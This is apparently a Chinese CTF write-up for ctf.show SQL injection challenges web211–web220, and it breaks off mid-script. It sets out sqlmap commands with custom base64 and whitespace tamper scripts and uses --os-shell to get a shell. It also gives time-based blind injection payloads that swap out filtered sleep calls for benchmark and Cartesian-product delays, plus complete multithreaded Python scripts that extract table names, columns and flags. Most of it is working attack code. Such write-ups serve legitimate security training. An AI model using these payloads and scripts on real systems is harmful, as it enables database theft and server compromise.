""" Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITYimport base64__priority__ = PRIORITY.LOW def dependencies (): pass def encode (a ): a1 = a.encode('utf-8' )[::-1 ] a2 = base64.b64encode(a1)[::-1 ] a3 = base64.b64encode(a2) return a3.decode('utf-8' ) def tamper (payload, **kwargs ): retVal = payload if payload: retVal = encode(retVal) return retVal
其中核心函数是这个,是对应上面php的反函数。
import base64def encode (a ): a1 = a.encode('utf-8' )[::-1 ] a2 = base64.b64encode(a1)[::-1 ] a3 = base64.b64encode(a2) return a3.decode('utf-8' )
web211 原始信息 sqlmap最新版下载
–tamper 的5体验
查询语句
$sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 0,1;" ;
返回逻辑
function decode ($id ) { return strrev (base64_decode (strrev (base64_decode ($id )))); } function waf ($str ) { return preg_match ('/ /' , $str ); }
解题 payload如下:
sqlmap -u "http://f0cc92a6-822f-465c-93cf-d05a191e41db.challenge.ctf.show/api/index.php" --referer "ctf.show" --user-agent "sqlmap" --method "PUT" --header "Content-Type: text/plain" --safe-url "http://f0cc92a6-822f-465c-93cf-d05a191e41db.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie "PHPSESSID=nnu00gqpmvheonprhdqi36s4d3" --tamper "space2comment,doubleSelect3" --thread=10 --data "id=1" -p id -D ctfshow_web -T ctfshow_flavia --dump
拆解如下:
sqlmap -u "http://f0cc92a6-822f-465c-93cf-d05a191e41db.challenge.ctf.show/api/index.php" --referer "ctf.show" --user-agent "sqlmap" --method "PUT" --header "Content-Type: text/plain" --safe-url "http://f0cc92a6-822f-465c-93cf-d05a191e41db.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie "PHPSESSID=nnu00gqpmvheonprhdqi36s4d3" --tamper "space2comment,doubleSelect3" --thread=10 --data "id=1" -p id -D ctfshow_web -T ctfshow_flavia --dump
这里插件 doubleSelect3
的内容和上一道题目一样,而 space2comment
是 sqlmap
自带的空格替换脚本。
web212 原始信息 sqlmap最新版下载
–tamper 的6体验
查询语句
$sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 0,1;" ;
返回逻辑
function decode ($id ) { return strrev (base64_decode (strrev (base64_decode ($id )))); } function waf ($str ) { return preg_match ('/ |\*/' , $str ); }
解题 对应的payload:
sqlmap -u "http://e25daf80-dde3-456e-9caa-cf2a7376563f.challenge.ctf.show/api/index.php" --referer "ctf.show" --user-agent "sqlmap" --method "PUT" --header "Content-Type: text/plain" --safe-url "http://e25daf80-dde3-456e-9caa-cf2a7376563f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie "PHPSESSID=hvuvn395uososd4l6dtivqcrag" --tamper "doubleSelect2,doubleSelect3" --thread=10 --data "id=1" -p id -D ctfshow_web -T ctfshow_flavis --dump
拆解如下:
sqlmap -u "http://e25daf80-dde3-456e-9caa-cf2a7376563f.challenge.ctf.show/api/index.php" --referer "ctf.show" --user-agent "sqlmap" --method "PUT" --header "Content-Type: text/plain" --safe-url "http://e25daf80-dde3-456e-9caa-cf2a7376563f.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie "PHPSESSID=hvuvn395uososd4l6dtivqcrag" --tamper "doubleSelect2,doubleSelect3" --thread=10 --data "id=1" -p id -D ctfshow_web -T ctfshow_flavis --dump
两个插件脚本如下(也就是之前写题的脚本):
doubleSelect2.py
""" Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOW def dependencies (): pass def tamper (payload, **kwargs ): retVal = payload if payload: retVal = retVal.replace('-- -' ,'#' ) retVal = retVal.replace(' ' ,chr (0x0a )) retVal = retVal.replace('=' ,chr (0x0a )+'like' +chr (0x0a )) return retVal
doubleSelect3.py
""" Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.compat import xrangefrom lib.core.enums import PRIORITYimport base64__priority__ = PRIORITY.LOW def dependencies (): pass def encode (a ): a1 = a.encode('utf-8' )[::-1 ] a2 = base64.b64encode(a1)[::-1 ] a3 = base64.b64encode(a2) return a3.decode('utf-8' ) def tamper (payload, **kwargs ): retVal = payload if payload: retVal = encode(retVal) return retVal
web213 原始信息 sqlmap最新版下载
练习使用–os-shell 一键getshell
查询语句
$sql = "select id,username,pass from ctfshow_user where id = '" .$id ."' limit 0,1;" ;
返回逻辑
function decode ($id ) { return strrev (base64_decode (strrev (base64_decode ($id )))); } function waf ($str ) { return preg_match ('/ |\*/' , $str ); }
解题 这次是反弹shell,如果是按照上一道题目的payload是能直接出库的,但是要求是反弹shell,思考其它方法。
sqlmap -u "http://f0c0fe5c-0ca6-484c-9658-f87fb296b6e9.challenge.ctf.show/api/index.php" --referer "ctf.show" --user-agent "sqlmap" --method "PUT" --header "Content-Type: text/plain" --safe-url "http://f0c0fe5c-0ca6-484c-9658-f87fb296b6e9.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie "PHPSESSID=vbmv8jgp739bbhen98d14dpn9c" --tamper "doubleSelect2,doubleSelect3" --thread=10 --data "id=1" -p id -D ctfshow_web -T ctfshow_user --os-shell
进去后全部默认,转到反弹的shell,通过cat去获取根目录的flag即可。
sqlmap -u "http://f0c0fe5c-0ca6-484c-9658-f87fb296b6e9.challenge.ctf.show/api/index.php" --referer "ctf.show" --user-agent "sqlmap" --method "PUT" --header "Content-Type: text/plain" --safe-url "http://f0c0fe5c-0ca6-484c-9658-f87fb296b6e9.challenge.ctf.show/api/getToken.php" --safe-freq=1 --cookie "PHPSESSID=vbmv8jgp739bbhen98d14dpn9c" --tamper "doubleSelect2,doubleSelect3" --thread=10 --data "id=1" -p id -D ctfshow_web -T ctfshow_user --os-shell
上面两个插件依旧沿用上一道题的插件即可。
web214–时间盲注 原始信息 开始基于时间盲注
查询语句
返回逻辑
解题 啥都没有的情况,刷新页面看抓包信息,抓到一个敏感数据包:
POST /api/ HTTP/1.1 Host: 6e127c7d-8aac-4895-b9bc-347848f17a0d.challenge.ctf.show User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0 Accept: application/json, text/javascript, */*; q=0.01 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 20 Origin: http://6e127c7d-8aac-4895-b9bc-347848f17a0d.challenge.ctf.show Connection: close Referer: http://6e127c7d-8aac-4895-b9bc-347848f17a0d.challenge.ctf.show/index.php Cookie: PHPSESSID=jq29mbfflirbma38u1sr7u5i3f ip=127.0.0.1&debug=0
得到明显的注入点:
尝试修改ip,得到正确的延时回显:
ip= if(1 ,sleep(5 ),1 )& debug= 0
开始测表:
ip=if (mid((select(group_concat(table_name))from(information_schema.tables)where (table_schema=database())),1,1)='a' ,sleep (5),1)&debug=0
使用bp爆破,对应的注点在 a,以及a左边算起第二个1。
爆出来的表名字:ctfshow_info,ctfshow_flagx
再尝试去爆字段:
ip=if (mid((select(group_concat(column_name))from(information_schema.columns)where (table_name='ctfshow_flagx' )),1,1)='a' ,sleep (5),1)&debug=0
爆破出来的列名:id,flaga,info
如果是另外一张表:id,ip,cname
最后尝试爆出flag:
ip= if(mid((select (group_concat(flaga))where (ctfshow_flagx)),1 ,1 )= 'a' ,sleep(5 ),1 )& debug= 0
这个flag关键字明显被过滤了,使用堆叠去注入他的表名:
# 改了半天,下面这个是正确的 #直接堆叠,再获取flag列的值。致命的弱点在于空格限制。 if(substring ((select group_concat(una) e from (select 1 ,'una' ,3 union select * from test1) a),5 ,1 )= 'a' ,sleep(3 ),1 ) ctfshow{2 ae0af79-57 de-45 c5-91 ed- cb573e5da40d}
如果是脚本跑的话……可以参考下面,Burp速度虽然快,但是flag要自己手动拼接。而下面的脚本,速度虽然慢,但会主动拼接脚本:
import requests,timedef GetData (url,payload,flag="" ,start=1 ,end=50 ,flagStrDict="{}ctfshow-0123456789abdegijklmnpqruvxyz" ): urls = url + "api/" headers = { "Content-Type" : "application/x-www-form-urlencoded;charset=UTF-8" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0" , "Accept" : "application/json, text/javascript, */*; q=0.01" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "X-Requested-With" : "XMLHttpRequest" , "Origin" : url, "Referer" : url, "Cookie" : "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f" , } for i in range (start,end): mf = 0 for mid in flagStrDict: data = { "ip" :payload.format (i,mid), "debug" :1 } t = time.time() req = requests.post(url=urls, headers=headers, data=data) endTime = time.time() - t time.sleep(0.3 ) print (f"find time: {endTime} s \t and find payload: {payload.format (i,mid)} " ) if endTime >= 3 : flag += mid print (flag) break else : mf += 1 if mf == len (flagStrDict): print ("flag is :" +flag) break if __name__ == "__main__" : flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz" flagStrDict2 = "{}ctfshow-0123456789abdegijklmnpqruvxyz" def web214 (): url = "http://7959807f-42f7-48f2-b2fe-ff5b2f8338eb.challenge.ctf.show/" payload1 = "if(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)='{}',sleep(3),1)" payload2 = "if(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagx')),{},1)='{}',sleep(3),1)" payload3 = "if(substring((select group_concat(una) e from (select 1,'una',3 union select * from test1) a),{},1)='{}',sleep(3),1)" GetData(url,payload=payload1,flagStrDict=flagStrDict1) GetData(url,payload=payload2,flagStrDict=flagStrDict1) GetData(url,payload=payload3,flagStrDict=flagStrDict2,start=5 ,end=55 ) web214()
这个脚本因为是单线程爆破,很大程度上会受到网络波动的影响。最好就放BP进行快爆吧。
上面的payload3是爆破flag的,但是……总是失效,具体原因不知道,但确实是爆出来flag过 ╮(╯_╰)╭
…
稍微改装了下脚本:
import requests,timedef GetData2 (url,payload,flag="" ,timeout=3 ,start=1 ,end=50 ,flagStrDict="{}ctfshow-0123456789abdegijklmnpqruvxyz" ): urls = url + "api/" headers = { "Content-Type" : "application/x-www-form-urlencoded;charset=UTF-8" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0" , "Accept" : "application/json, text/javascript, */*; q=0.01" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "X-Requested-With" : "XMLHttpRequest" , "Origin" : url, "Referer" : url, "Cookie" : "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f" , } for i in range (start,end): mf = 0 for mid in flagStrDict: data = { "ip" :payload.format (i,mid), "debug" :1 } try : t = time.time() req = requests.post(url=urls, headers=headers, data=data,timeout=timeout) endTime = time.time() - t time.sleep(0.3 ) mf += 1 print (f"find time: {int (endTime)} s \t and find payload: {payload.format (i,mid)} " ) except Exception as e: flag += mid print (flag) break if mf == len (flagStrDict): print ("flag is :" +flag) break if __name__ == "__main__" : flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz" flagStrDict2 = "{}ctfshow-0123456789abdegijklmnpqruvxyz" def web214 (): url = "http://13f1f1cf-dc0b-44ec-ac58-65536d39760f.challenge.ctf.show/" payload1 = "if(mid((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)='{}',sleep(3),1)" payload2 = "if(mid((select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagx')),{},1)='{}',sleep(3),1)" payload3 = "if(substring((select flaga from ctfshow_flagx),{},1)='{}',sleep(3),1)" GetData2(url,payload=payload3,flagStrDict=flagStrDict2,start=1 ,end=55 ) web214()
web215 原始信息 开始基于时间盲注
查询语句
返回逻辑
解题 测试的时候不是过滤了单引号,而是新增了单引号。
下面是脚本:
import requests,timedef GetData2 (url,payload,flagStrDict,flag="" ,timeout=3 ,start=1 ,end=50 ,mode=1 ): urls = url + "api/" headers = { "Content-Type" : "application/x-www-form-urlencoded;charset=UTF-8" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0" , "Accept" : "application/json, text/javascript, */*; q=0.01" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "X-Requested-With" : "XMLHttpRequest" , "Origin" : url, "Referer" : url, "Cookie" : "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f" , } for i in range (start,end): mf = 0 for mid in flagStrDict: data = { "ip" :payload.format (i,mid), "debug" :1 } try : t = time.time() req = requests.post(url=urls, headers=headers, data=data,timeout=timeout) endTime = time.time() - t time.sleep(0.3 ) mf += 1 print (f"find time: {int (endTime)} s \t and find payload: {payload.format (i,mid)} " ) except Exception as e: if mode == 1 : flag += mid elif mode == 2 : flag += chr (int (mid,16 )) print (flag) break if mf == len (flagStrDict): print ("flag is :" +flag) break if __name__ == "__main__" : flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz" flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_" def web215 (): url = "http://d86b4db8-c487-4cde-8209-1e104d9d5e51.challenge.ctf.show/" payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())" payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagxc')" payload3 = "select flagaa from ctfshow_flagxc" GetData2(url,flag='ctfshow{' ,start=9 ,end=55 ,payload="'||if(mid((" +payload3+"),{},1)='{}',sleep(5),1)||'" ,flagStrDict=flagStrDict2,timeout=5 ) web215()
web216 原始信息 查询语句
where id = from_base64 ($id );
返回逻辑
解题 照搬上一题脚本,修改未多线程爆破:
import requests,threading,time,concurrent.futures""" 多线程爆破脚本 哈哈哈哈!开始起飞! 总算不用那么慢的盲注了! """ def send_request (url,headers,data,timeout,strs ): try : req = requests.post(url=url, headers=headers, data=data, timeout=timeout) time.sleep(0.3 ) except Exception as e: return strs return "" def GetData3 (url,payload,flagStrDict,flag="" ,timeout=3 ,start=1 ,end=50 ,threadNum=3 ): urls = url + "api/" headers = { "Content-Type" : "application/x-www-form-urlencoded;charset=UTF-8" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0" , "Accept" : "application/json, text/javascript, */*; q=0.01" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "X-Requested-With" : "XMLHttpRequest" , "Origin" : url, "Referer" : url, "Cookie" : "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f" , } allList = [] flagStr = '' for index in range (start,end): dataList = [[{'ip' : payload.format (index, strsDict), 'debug' : 1 },f"{index} :{strsDict} " ] for strsDict in flagStrDict] with concurrent.futures.ThreadPoolExecutor(max_workers=threadNum) as executor: tasks = [] for data in dataList: task = executor.submit(send_request, urls,headers,data[0 ],timeout,data[1 ]) tasks.append(task) results = [] for task in tasks: result = task.result() if result: flagStr += (result.split(':' ))[1 ] results.append(result) if results: allList.append(results) else : break print (flagStr) string = flag for i in allList: if i!=[] or i!=[[]] or bool (i): string += (i[0 ].split(':' ))[-1 ] print ('flag: ' ,string) if __name__ == "__main__" : flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz" flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_" def web216 (): url = "http://8c908286-df0a-42c6-8fe7-c94445d8f432.challenge.ctf.show/" payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())" payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagxcc')" payload3 = "select(group_concat(flagaac))from(ctfshow_flagxcc)" GetData3(url, flag='ctfshow{' , start=9 , end=55 ,payload="to_base64({})" .format ("if(mid((" +payload3+"),{},1)='{}',sleep(5),1)" ), flagStrDict=flagStrDict2, timeout=5 ) web216()
payload部分在于:
def web216 (): url = "http://8c908286-df0a-42c6-8fe7-c94445d8f432.challenge.ctf.show/" payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())" payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagxcc')" payload3 = "select(group_concat(flagaac))from(ctfshow_flagxcc)" GetData3(url, flag='ctfshow{' , start=9 , end=55 ,payload="to_base64({})" .format ("if(mid((" +payload3+"),{},1)='{}',sleep(5),1)" ), flagStrDict=flagStrDict2, timeout=5 )
其中,要注意点在于:网络不好就没必要跑脚本了,因为实在……太依赖网络状态了。。。
半夜开了5G测试,一直出错误。同一个payload放BP跑了不到五分钟就全出来了,我……
web217 原始信息 查询语句
返回逻辑
function waf ($str ) { return preg_match ('/sleep/i' ,$str ); }
解题 这个题目过滤了 sleep
,导致常用延时注入函数被过滤。这里对 sleep
的平替方案为:
select sleep(3 ):# 平替为: select benchmark(3500000 ,md5('www' ));
具体的平替时间是测试出来的,使用 Burp
抓包出来进行平替测试即可。
具体测试方案就是:设置 3s
延迟,让后放上这种句子进行测试:ip=if(1,benchmark(3500000,md5('www')),1)&debug=1
.
脚本如下,注意网络环境对延时注入的影响。
import requests,time,concurrent.futures""" 多线程爆破脚本 哈哈哈哈!开始起飞! 总算不用那么慢的盲注了! """ def send_request (url,headers,data,timeout,strs ): try : req = requests.post(url=url, headers=headers, data=data, timeout=timeout) time.sleep(0.3 ) except Exception as e: return strs return "" def GetData3 (url,payload,flagStrDict,flag="" ,timeout=3 ,start=1 ,end=50 ,threadNum=5 ): urls = url + "api/" headers = { "Content-Type" : "application/x-www-form-urlencoded;charset=UTF-8" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0" , "Accept" : "application/json, text/javascript, */*; q=0.01" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "X-Requested-With" : "XMLHttpRequest" , "Origin" : url, "Referer" : url, "Cookie" : "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f" , } allList = [] flagStr = flag for index in range (start,end): dataList = [[{'ip' : payload.format (index, strsDict), 'debug' : 1 },f"{index} :{strsDict} " ] for strsDict in flagStrDict] with concurrent.futures.ThreadPoolExecutor(max_workers=threadNum) as executor: tasks = [] for data in dataList: task = executor.submit(send_request, urls,headers,data[0 ],timeout,data[1 ]) tasks.append(task) results = [] for task in tasks: result = task.result() if result: flagStr += (result.split(':' ))[1 ] results.append(result) if results: allList.append(results) else : print ("No results {}" .format (index)) break print (flagStr) string = flag for i in allList: if i!=[] or i!=[[]] or bool (i): string += (i[0 ].split(':' ))[-1 ] print ('flag: ' ,string) if __name__ == "__main__" : flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz" flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_" def web217 (): url = "http://4afe2ce4-af43-46e5-a9c1-79b4b85cb45f.challenge.ctf.show/" payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())" payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagxccb')" payload3 = "select(group_concat(flagaabc))from(ctfshow_flagxccb)" GetData3(url, flag='ctfshow{' , start=9 , end=55 ,payload="{}" .format ("if(mid((" +payload3+"),{},1)='{}',benchmark(3500000,md5('www')),1)" ), flagStrDict=flagStrDict2, timeout=5 ) web217()
web218 原始信息 查询语句
返回逻辑
function waf ($str ) { return preg_match ('/sleep|benchmark/i' ,$str ); }
解题 这过滤……又要寻找平替方案……
还有一个平替方案,利用大量的查询消耗时间:
if(mid(1 ,(SELECT COUNT (* ) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c,information_schema.tables d),1 )
其中的 SELECT COUNT(*) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c,information_schema.tables d
便是起到平替作用的sql查询语句。(笛卡尔积)
如果是使用延迟2s的话,特别考验爆破者的网络环境。特别是这种情况下特别容易出现flag错误的情况。
注意:这里的爆破延迟是1.7s,测试的具体方式是从Burp看回显时间测试出来的。
使用要求:
测试者正常回显(非测试笛卡尔积)的情况下延迟在0到1s之间。
测试者测试笛卡尔积的时候延迟在1.7或者大于1.7的范围。
下面是脚本:
import requests,time,concurrent.futuresfrom colorama import Fore, Back, Style, initinit() """ 单线程爆破 """ def GetData2 (url,payload,flagStrDict,flag="" ,timeout=3.0 ,start=1 ,end=50 ,mode=1 ): """ 单线程爆破 :param url:目标url :param payload:payload模板 :param flagStrDict:flag字典 :param flag:flag :param timeout:超时时间 :param start:开始 :param end:结束 :param mode:模式 :return: """ urls = url + "api/" headers = { "Content-Type" : "application/x-www-form-urlencoded;charset=UTF-8" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0" , "Accept" : "application/json, text/javascript, */*; q=0.01" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "X-Requested-With" : "XMLHttpRequest" , "Origin" : url, "Referer" : url, "Cookie" : "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f" , } thresholdNumber = 3 for i in range (start,end): mf = 0 for mid in flagStrDict: data = { "ip" :payload.format (i,mid), "debug" :1 } t1 = time.time() thresholds = 0 for threshold in range (thresholdNumber): try : t = time.time() req = requests.post(url=urls, headers=headers, data=data,timeout=timeout) endTime = time.time() - t time.sleep(0.3 ) print (Style.BRIGHT+'find time' , Style.RESET_ALL +f": {endTime:.3 f} s \t " , Style.BRIGHT+'and find payload' , Style.RESET_ALL +f": {payload.format (i,mid)} " ) except Exception as e: thresholds += 1 print (Fore.RED+'the number' ,Style.BRIGHT+f": {thresholds} " ,Style.RESET_ALL + "-" ) endTime = time.time() - t1 if mode == 1 and thresholds == thresholdNumber: flag += mid print (f"{Back.GREEN+'index' } : {i} " ,"\t" ,f"{Back.GREEN+'all time' } :" ,Style.BRIGHT+f"{endTime:.3 f} " ,"\t " ,Back.GREEN+'flag' ,":" ,Style.BRIGHT+f'{flag} ' ,Style.RESET_ALL + "-" ) break elif mode == 2 and thresholds == thresholdNumber: flag += chr (int (mid,16 )) print (f"{Back.GREEN+'index' } : {i} " ,"\t" ,f"{Back.GREEN+'all time' } :" ,Style.BRIGHT+f"{endTime:.3 f} " ,"\t " ,Back.GREEN+'flag' ,":" ,Style.BRIGHT+f'{flag} ' ,Style.RESET_ALL + "-" ) print (Style.RESET_ALL + "-" ) break else : mf += 1 if mf == len (flagStrDict): print ("flag is :" +flag) break def GetData4 (url,payload,flagStrDict,flag="" ,timeout=3.0 ,start=1 ,end=50 ,mode=1 ): urls = url + "api/" headers = { "Content-Type" : "application/x-www-form-urlencoded;charset=UTF-8" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0" , "Accept" : "application/json, text/javascript, */*; q=0.01" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "X-Requested-With" : "XMLHttpRequest" , "Origin" : url, "Referer" : url, "Cookie" : "PHPSESSID=jq29mbfflirbma38u1sr7u5i3f" , } for i in range (start,end): mf = 0 for mid in flagStrDict: data = { "ip" :payload.format (i,mid), "debug" :1 } try : t = time.time() req = requests.post(url=urls, headers=headers, data=data,timeout=timeout) endTime = time.time() - t time.sleep(0.3 ) mf += 1 print (f"find time: {int (endTime)} s \t and find payload: {payload.format (i,mid)} " ) except Exception as e: try : t = time.time() req = requests.post(url=urls, headers=headers, data=data, timeout=timeout) endTime = time.time() - t time.sleep(0.3 ) mf += 1 print (f"find time: {int (endTime)} s \t and find payload: {payload.format (i, mid)} " ) except Exception as e: try : t = time.time() req = requests.post(url=urls, headers=headers, data=data, timeout=timeout) endTime = time.time() - t time.sleep(0.3 ) mf += 1 print (f"find time: {int (endTime)} s \t and find payload: {payload.format (i, mid)} " ) except Exception as e: if mode == 1 : flag += mid break elif mode == 2 : flag += chr (int (mid, 16 )) break print (flag) if mf == len (flagStrDict): print ("flag is :" +flag) break if __name__ == "__main__" : flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz" flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_" flagStrDict3 = "id,flagah,infoctfshow,_0123456789abdegijklmnpqruvxyz" flagStrDict4 = "id,flagno_0123456789bcehjkmpqrstuvwxyz" def web218 (): url = "http://736e0672-8f98-43d0-ae4d-3660b56cfda7.challenge.ctf.show/" payload1 = "select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())" payload2 = "select(group_concat(column_name))from(information_schema.columns)where(table_name='ctfshow_flagxc')" payload3 = "select(group_concat(flagaac))from(ctfshow_flagxc)" timeOutFunction = "(SELECT COUNT(*) FROM information_schema.tables a, information_schema.tables b, information_schema.tables c)" """ ctfshow{3e19223f-d564-4aae-945e-55a2656f1c27} ctfshow{3e192230-d564-4aae-945e-56a2656f1c27} ctfshow{3e19223f-d564-4aae-945e-56a2656f1c27} """ GetData4(url,flag='ctfshow{' , start=9 , end=55 ,payload="if(mid((" + payload3 + "),{},1)='{}'," +timeOutFunction+",1)" ,flagStrDict=flagStrDict2,timeout=1.7 ) web218()
多跑两次,flag有一定概率会出错,测试的时候多测试两次不会吃亏。
web219 原始信息 查询语句
返回逻辑
function waf ($str ) { return preg_match ('/sleep|benchmark|rlike/i' ,$str ); }
解题 沿用上面脚本即可
web220 原始信息 查询语句
返回逻辑
function waf ($str ) { return preg_match ('/sleep|benchmark|rlike|ascii|hex|concat_ws|concat|mid|substr/i' ,$str ); }
解题 首先考虑时间盲注,依然还是只能使用笛卡尔积。
其次考虑其它payload点位的限制。
上次的payload是带有concat/mid
两种的,而这两种恰巧对应组合和切割两种情况。
concat
对应限制 group_concat
列组合方法,用 limit {} 1
绕过。 {}
是爆破的第 0
行到第 n
行。
mid
采用 left/right
两种的其中一种进行绕过。这俩都是切割函数,但是没有 mid
的按位置切割,只能从头切割到末尾/从末尾切割到头。
注意:这里还是得注意下网络的延迟问题。延迟测算好后再用payload。
下面是脚本:
import requests,time,concurrent.futuresfrom colorama import Fore, Back, Style, initinit() def GetData6 (url,payload,flagStrDict,flag="" ,timeout=3.0 ,start=1 ,end=50 ,mode=1 ): """ 单线程爆破 :param url:目标url :param payload:payload模板 :param flagStrDict:flag字典 :param flag:flag :param timeout:超时时间 :param start:开始 :param end:结束 :param mode:模式 :return: """ urls = url + "api/" headers = { "Content-Type" : "application/x-www-form-urlencoded;charset=UTF-8" , "User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0" , "Accept" : "application/json, text/javascript, */*; q=0.01" , "Accept-Language" : "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" , "Accept-Encoding" : "gzip, deflate" , "Connection" : "keep-alive" , "X-Requested-With" : "XMLHttpRequest" , "Origin" : url, "Referer" : url } thresholdNumber = 4 flagTest = '' for rows in range (10 ): flagTemp = '' for columns in range (start,end): mf = 0 for strDict in flagStrDict: payloadEd = '0x' +'' .join([(hex (ord (i))).replace('0x' ,'' ) for i in flagTemp+strDict]) data = { "ip" :payload.format (rows,columns,payloadEd), "debug" :1 } thresholds = 0 t1 = time.time() def miniNumber (): t = time.time() requests.post(url=urls, headers=headers, data=data, timeout=timeout) endTime = time.time() - t time.sleep(0.3 ) print (Style.BRIGHT + 'Find time' , end=":" ) print (Style.RESET_ALL + f"{endTime:.3 f} s \t " , end="" ) print (Style.BRIGHT + 'And find payload' , end=':' ) print (Style.RESET_ALL + f"{payload.format (rows, columns, payloadEd)} " ) try : miniNumber() except Exception as e: for threshold in range (thresholdNumber): try : miniNumber() except Exception as e: thresholds += 1 print (Fore.RED + 'the number' ,end=" : " ) print (Style.BRIGHT + f"{thresholds} " ,end="" ) print (Style.RESET_ALL + "" ) endTime = time.time() - t1 if thresholds == thresholdNumber: flagTemp += strDict print (f"{Back.GREEN + 'index' } : {rows} {columns} " , end="\t" ) print (f"{Back.GREEN + 'all time' } " ,end=":" ) print (Style.BRIGHT + f"{endTime:.3 f} " ,end="\t " ) print (Back.GREEN + 'flag' , end=":" ) print (Style.BRIGHT + f'{flagTemp} ' ,end='' ) print (Style.RESET_ALL + "" ) break else : mf += 1 if mf == len (flagStrDict): print ("flag is :" + flagTemp) print ('all :' ,flagTest) break if '' == flagTemp: print ('flag is :' + flagTest) break else : flagTest += flagTemp if flagTest == '' else ',' +flagTemp print (flagTest) if __name__ == "__main__" : flagStrDict1 = "ctfshow,_0123456789abdegijklmnpqruvxyz" flagStrDict2 = "-0123456789abdectfshowgijklmnpqruvxyz}{,_" flagStrDict4 = 